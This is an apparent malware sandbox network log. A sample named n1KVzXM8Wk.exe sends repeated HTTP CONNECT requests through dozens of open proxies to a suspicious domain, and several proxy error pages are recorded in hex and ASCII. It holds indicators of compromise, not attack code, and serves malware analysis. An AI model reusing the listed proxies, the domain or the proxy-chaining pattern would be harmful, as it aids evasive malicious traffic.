Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.4	55195	45.179.231.210	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.938570976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.4	55053	192.169.226.96	43328	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.993360043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475111961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.866050959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681978941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.272428036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.865912914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.475136042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.684084892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.928225994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.4	55268	218.145.131.182	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.996097088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.4	54969	72.195.34.59	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.999500990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.4	53337	192.169.205.131	41026	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.999540091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147062063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.240915060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1914	192.168.2.4	55113	104.37.135.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.030450106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1915	192.168.2.4	55239	164.132.163.73	48444	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.035231113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1916	192.168.2.4	55197	103.82.11.233	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.039858103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1917	192.168.2.4	55246	209.14.112.8	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.049654961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1918	192.168.2.4	55193	114.132.202.80	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.051177979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.609448910 CET	84	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:33 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1919	192.168.2.4	55248	188.234.147.54	8019	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.173265934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1920	192.168.2.4	55223	175.183.82.221	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.173463106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1921	192.168.2.4	55265	104.244.75.78	31534	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.189465046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1922	192.168.2.4	55293	43.153.81.60	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.190069914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1923	192.168.2.4	53422	77.242.235.35	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.190427065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1924	192.168.2.4	55211	103.134.38.89	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.218971968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1925	192.168.2.4	53434	107.180.101.18	27053	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.376441002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.475284100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.475215912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1926	192.168.2.4	53601	107.180.95.177	1405	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.376694918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1927	192.168.2.4	53485	192.169.226.96	31640	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.376861095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1928	192.168.2.4	53568	188.164.193.178	7001	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.377213955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.943624973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557704926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.647257090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.858808994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1929	192.168.2.4	55230	139.129.162.65	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.377432108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.741786957 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.3.8 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 3485 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1930	192.168.2.4	55314	45.144.30.199	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.377916098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1931	192.168.2.4	53549	69.75.140.157	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.388492107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.644165993 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1932	192.168.2.4	53608	51.210.45.148	41855	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.403299093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1933	192.168.2.4	54958	117.160.250.163	9990	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.403367996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.321804047 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:34 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1934	192.168.2.4	55280	184.170.248.5	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.425664902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1935	192.168.2.4	53677	159.223.166.21	45537	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.425838947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.475327015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.475229025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.474920988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:57.474878073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:09.490560055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1936	192.168.2.4	53470	172.235.10.53	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.435715914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.537712097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.647078037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.285068989 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:40 GMT Server: case1 X-Frame-Options: SAMEORIGIN Content-Length: 535 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 61 6a 61 6e 65 65 73 68 6d 40 67 6f 69 74 64 65 76 2e 63 6f 6d 20 74 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at rajaneeshm@goitdev.com to
Feb 23, 2024 09:45:40.285111904 CET	203	IN	Data Raw: 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 Data Ascii: inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1937	192.168.2.4	53510	154.236.179.229	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.435909986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1938	192.168.2.4	53456	188.132.222.6	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.436099052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.475461006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.475229025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1939	192.168.2.4	55287	178.54.21.203	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.480968952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1940	192.168.2.4	55303	130.162.213.175	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:33.492883921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
